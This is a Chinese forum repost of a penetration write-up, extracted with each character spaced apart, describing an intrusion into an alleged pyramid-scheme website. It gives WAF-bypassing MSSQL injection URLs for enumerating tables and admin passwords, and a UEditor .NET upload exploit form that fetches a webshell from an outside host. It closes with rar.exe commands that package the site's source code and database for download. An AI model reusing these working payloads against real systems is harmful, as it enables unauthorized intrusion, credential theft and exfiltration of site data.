搜索

[28547] 2020-09-01_记一次对某非法站点从SQL注入到整站打包与本地搭建全过程

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-19
2020-09-01_记一次对某非法站点从SQL注入到整站打包与本地搭建全过程 记 一 次 对 某 非 法 站 点 从 S Q L 注 入 到 整 站 打 包 与 本 地 搭 建 全 过 程 G u o K e r   O t s 安 全   2 0 2 0 - 0 9 - 0 1 转 ： 先 知 社 区 转 ： 先 知 社 区   作 者 ： 作 者 ： G u o K e r 一 、 前 言 一 、 前 言 如 题 ， 由 于 是 在 已 知 有 一 处 s q l 注 入 的 情 况 下 才 接 手 进 行 的 后 续 操 作 ， 因 此 前 面 信 息 搜 集 则 一 笔 带 过 。 二 、 信 息 搜 集 二 、 信 息 搜 集 目 标 是 个 本 地 的 传 销 站 点 其 大 致 信 息 为 I I S + A S P . N E T + 安 全 狗 、 腾 讯 云 。 三 、 三 、 B y p a s s   S q l 3 . 1   F u z z 根 据 如 上 测 试 可 以 看 出 程 序 本 身 也 有 过 滤 ， e r r o r 为 程 序 自 身 的 过 滤 。 可 以 利 用 I I S 处 理 % 符 号 的 机 制 绕 过 部 分 符 号 ， 例 如 空 格 使 用 % 0 b   加 号 使 用 % 2 b 等 。 再 根 据 测 试 的 结 果 ， 可 以 先 利 用 c o n v e r t 转 换 报 错 获 取 一 部 分 信 息 。 得 到 以 下 信 息 ： 再 往 下 就 是 获 取 表 的 信 息 空 格             e r r o r 加 号             未 拦 截 等 号             e r r o r 单 引 号           e r r o r 双 引 号           未 拦 截 双 括 号           未 拦 截 + s e l e c t           e r r o r % 0 b s e l e c t       未 拦 截 % 0 b s e l e c t % 0 b u s e r % 0 b f r o m   未 拦 截 % 0 b s e l e c t % 0 b u s e r % 0 b f r o m % 0 b a d m i n   拦 截 c o n v e r t ( )       未 拦 截 g o o d s c o n t e n t . a s p x ? g i d = c o n v e r t ( i n t , @ @ v e r s i o n ) # 版 本 信 息 g o o d s c o n t e n t . a s p x ? g i d = c o n v e r t ( i n t , d b _ n a m e ( ) ) # 数 据 库 信 息 g o o d s c o n t e n t . a s p x ? g i d = c o n v e r t ( i n t , u s e r _ n a m e ( ) ) # 当 前 数 据 库 用 户 … … t i p s ： 可 以 通 过 遍 历 d b _ n a m e ( 1 ) 中 的 数 字 获 取 其 他 库 名 A S P . N E T   版 本 ： M i c r o s o f t   . N E T   F r a m e w o r k   版 本 : 4 . 0 . 3 0 3 1 9 ;   A S P . N E T   版 本 : 4 . 0 . 3 0 3 1 9 . 3 6 4 0 0 数 据 库 版 本 ： M i c r o s o f t   S Q L   S e r v e r   2 0 0 8   ( R T M )   -   1 0 . 0 . 1 6 0 0 . 2 2   ( X 6 4 ) 用 户 名 ： s a 计 算 机 名 ： 1 0 _ * _ 7 6 _ * S Q L E X P R E S S             1 0 . * . 7 6 . * 当 前 库 ： p a n 2 0 1 7 0 8 2 3 所 有 库 名 ： p a n 2 0 1 7 0 8 2 3 m a s t e r t e m p d b m o d e l m s d b R e p o r t S e r v e r $ S Q L E X P R E S S R e p o r t S e r v e r $ S Q L E X P R E S S T e m p D B
由 于 我 只 会 简 单 的 s e l e c t   f r o m 因 此 始 终 无 法 获 取 表 名 ， 如 果 有 其 他 姿 势 还 望 给 科 普 下 。 3 . 2   万 金 油 万 金 油 此 时 陷 入 僵 局 ， 后 来 想 起 在 4 0 4 大 佬 的 一 篇 b y p a s s 安 全 狗 的 文 章 中 提 到 过 在 m s s q l 中 注 释 加 换 行 同 样 成 立 ， 遂 构 造 之 。 g o o d s c o n t e n t . a s p x ? g i d = - - / * % 0 a ( s e l e c t % 0 b t o p % 0 b 1 % 0 b t a b l e _ n a m e % 0 b F R O M % 0 b i n f o r m a t i o n _ s c h e m a . t a b l e s % 0 b ) - - % 2 0 * / P S : 由 于 注 入 点 已 经 使 用 了 c o n v e r t 做 了 数 据 转 换 ， 后 续 直 接 防 入 查 询 即 可 获 取 到 第 一 个 表 名 ： j s r e c o r d 由 于 还 是 没 能 绕 过 单 引 号 和 等 号 ， 我 始 终 用 不 了 n o t   i n 与 f o r   x m l   p a t h 来 爆 后 续 的 表 名 ， 这 又 触 及 到 了 我 知 识 盲 区 ， 因 此 只 好 查 阅 大 量 文 章 案 例 ， 最 终 构 造 出 如 下 语 句 。 g o o d s c o n t e n t . a s p x ? g i d = C O N V E R T ( I N T , ( C H A R ( 5 8 ) % 2 b C H A R ( 5 8 ) % 2 b ( S E L E C T % 0 b t o p % 0 b 1 % 0 b C A S T ( C O U N T ( * ) % 0 b A S % 0 b n v a r c h a r ( 4 0 0 0 ) ) % 0 b F R O M % 0 b i n f o r m a t i o n _ s c h e m a . T A B L E S % 0 b ) % 2 b C H A R ( 5 8 ) % 2 b C H A R ( 5 8 ) ) ) # 获 取 表 总 个 数 / g o o d s c o n t e n t . a s p x ? g i d = - - / * % 0 a ( S E L E C T % 0 b T O P % 0 b 1 % 0 b t a b l e _ n a m e % 0 b F R O M % 0 b i n f o r m a t i o n _ s c h e m a . t a b l e s % 0 b W H E R E % 0 b t a b l e _ n a m e % 0 b N O T % 0 b I N ( S E L E C T % 0 b T O P % 0 b 1 1 % 0 b t a b l e _ n a m e % 0 b F R O M % 0 b i n f o r m a t i o n _ s c h e m a . c o l u m n s ) ) - - % 2 0 * /
此 时 只 需 要 遍 历 t o p 的 数 值 即 可 ， 例 如 ： 通 过 不 断 的 遍 历 数 值 发 现 还 是 存 在 问 题 ， 举 个 例 子 ， 即   1 - 2 0 、 2 0 0 - 2 0 9 ， 3 3 4 - 3 4 5 返 回 同 一 个 表 名 ， 存 在 大 量 重 复 与 无 序 的 情 况 ， 但 可 以 通 过 b u r p 中 i n t r u d e r - > G r e p - E x t a c t 功 能 来 解 决 ， 操 作 如 下 ： 首 先 设 置 好 i n t r u d e r 对 0 0 1 - 6 0 0 进 行 遍 历 （ 超 过 6 0 0 多 后 就 没 什 么 内 容 了 ） / g o o d s c o n t e n t . a s p x ? g i d = - - / * % 0 a ( S E L E C T % 0 b T O P % 0 b 1 % 0 b t a b l e _ n a m e % 0 b F R O M % 0 b i n f o r m a t i o n _ s c h e m a . t a b l e s % 0 b W H E R E % 0 b t a b l e _ n a m e % 0 b N O T % 0 b I N ( S E L E C T % 0 b T O P % 0 b 8 0 % 0 b t a b l e _ n a m e % 0 b F R O M % 0 b i n f o r m a t i o n _ s c h e m a . c o l u m n s ) ) - - % 2 0 * /
然 后 使 用 G r e p - E x t a c t 提 取 表 名 。
保 存 结 果 后 去 重 即 可 。
和 前 面 获 取 到 的 表 总 个 数 是 一 致 的 。 解 下 来 就 是 获 取 m e m b e r a d m i n 表 中 的 列 名 与 内 容 ， 但 在 此 之 前 我 还 是 习 惯 性 的 看 了 下 后 台 的 网 页 源 代 码 。 如 图 ， 盲 猜 列 名 t x t _ n i c k n a m e 、 n i c k n a m e 、 t x t _ p a s s w o r d 、 p a s s w o r d / g o o d s c o n t e n t . a s p x ? g i d = - - / * % 0 a ( s e l e c t % 0 b t o p % 0 b 1 % 0 b n i c k n a m e % 0 b f r o m % 0 b m e m b e r a d m i n ) - - % 2 0 * / / g o o d s c o n t e n t . a s p x ? g i d = - - / * % 0 a ( s e l e c t % 0 b t o p % 0 b 1 % 0 b p a s s w o r d % 0 b f r o m % 0 b m e m b e r a d m i n ) - - % 2 0 * /
三 、 后 台 三 、 后 台 g e t s h e l l 登 陆 后 台 经 测 试 后 发 现 信 息 管 理 处 可 以 发 布 咨 询 ， 上 传 图 片 。 通 过 修 改 去 掉 f i l e n a m e = " 1 . a s p x " 中 的 双 引 号 绕 过 安 全 狗 ， 但 无 法 绕 过 程 序 自 身 的 检 测 。 不 过 得 知 上 传 组 件 为 u e d i t o r ， 且 . n e t 版 本 存 在 上 传 漏 洞 p o c 如 下 并 在 自 己 的 服 务 器 上 准 备 好 s h e l l （ 注 意 过 狗 ） ， 名 称 为 a . g i f , 然 后 填 入 s h e l l 地 址 提 交 后 即 可 得 到 s h e l l 路 径 四 、 打 包 源 码 与 数 据 库 四 、 打 包 源 码 与 数 据 库 在 有 了 s h e l l 之 后 要 做 的 事 情 就 更 明 确 了 ， 即 是 打 包 源 码 与 数 据 库 ， 由 于 只 需 要 这 两 样 操 作 ， 相 对 于 不 需 要 太 大 的 权 限 ， 避 免 操 作 不 当 触 发 警 告 。 因 此 我 选 择 先 通 过 s h e l l 来 进 行 打 包 操 作 。 C o n t e n t - D i s p o s i t i o n :   f o r m - d a t a ;   n a m e = " u p _ p i c t u r e " ;   f i l e n a m e = x s s . j p g   . a s p x < f o r m a   c t i o n = " h t t p : / / * * * / * * * / n e t / c o n t r o l l e r . a s h x ? a c t i o n = c a t c h i m a g e " e n c t y p e = " a p p l i c a t i o n / x - w w w - f o r m - u r l e n c o d e d "     m e t h o d = " P O S T " > < p > s h e l l   a d d r : < i n p u t   t y p e = " t e x t "   n a m e = " s o u r c e [ ] "   / > < / p   > < i n p u t   t y p e = " s u b m i t "   v a l u e = " S u b m i t "   / > < / f o r m > h t t p s : / / o 0 o 0 . c l u b / a . g i f ? . a s p x
源 码 源 码 这 里 利 用 的 是 自 行 上 传 的 r a r . e x e 来 分 卷 打 包 源 码 ， 在 此 之 前 尝 试 过 7 z . e x e （ 目 标 服 务 器 上 已 安 装 ） 、 m a k e c a b   但 效 果 并 不 理 想 ， 姿 势 不 够 还 望 科 普 。 最 终 以 每 秒 1 0 0 k 的 速 度 下 载 完 成 。 数 据 库 数 据 库 略 过 ， 后 台 自 带 备 份 功 能 坑 点 ： 后 台 的 备 份 文 件 后 缀 为 z i p ， 下 载 回 来 总 是 提 示 文 件 损 坏 ， 一 直 以 为 备 份 功 能 有 问 题 ， 后 来 发 现 文 件 头 是 T A P E 。 。 。 。 r a r . e x e   a   - r   - v 5 0 m   - m 5   p a n 2 0 1 7 0 8 2 3   * . * # a   压 缩 # - r   打 包 子 目 录 # - v   分 卷 大 小 # - m   压 缩 等 级 # p a n 2 0 1 7 0 8 2 3 目 标 目 录 # * . *   打 包 后 文 件 名 为   p a n 2 0 1 7 0 8 2 3 . p a r t * . r a r
五 、 本 地 搭 建 五 、 本 地 搭 建 本 地 搭 建 的 环 境 为   W i n d o w s   s e r v e r   2 0 1 2 + I I S 8 + S Q L   S e r v e r   2 0 0 8 , 简 单 讲 讲 0 . 0 S Q L   S e r v e r 安 装 过 程 略 过 导 入 数 据 新 建 数 据 库 ， 然 后 通 过 原 设 备 还 原 数 据 还 原 成 功
I I S 与 与 A S P . N E T 安 装 一 笔 带 过 ， 左 边 拉 满 就 行 ， 简 单 粗 暴 添 加 站 点
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理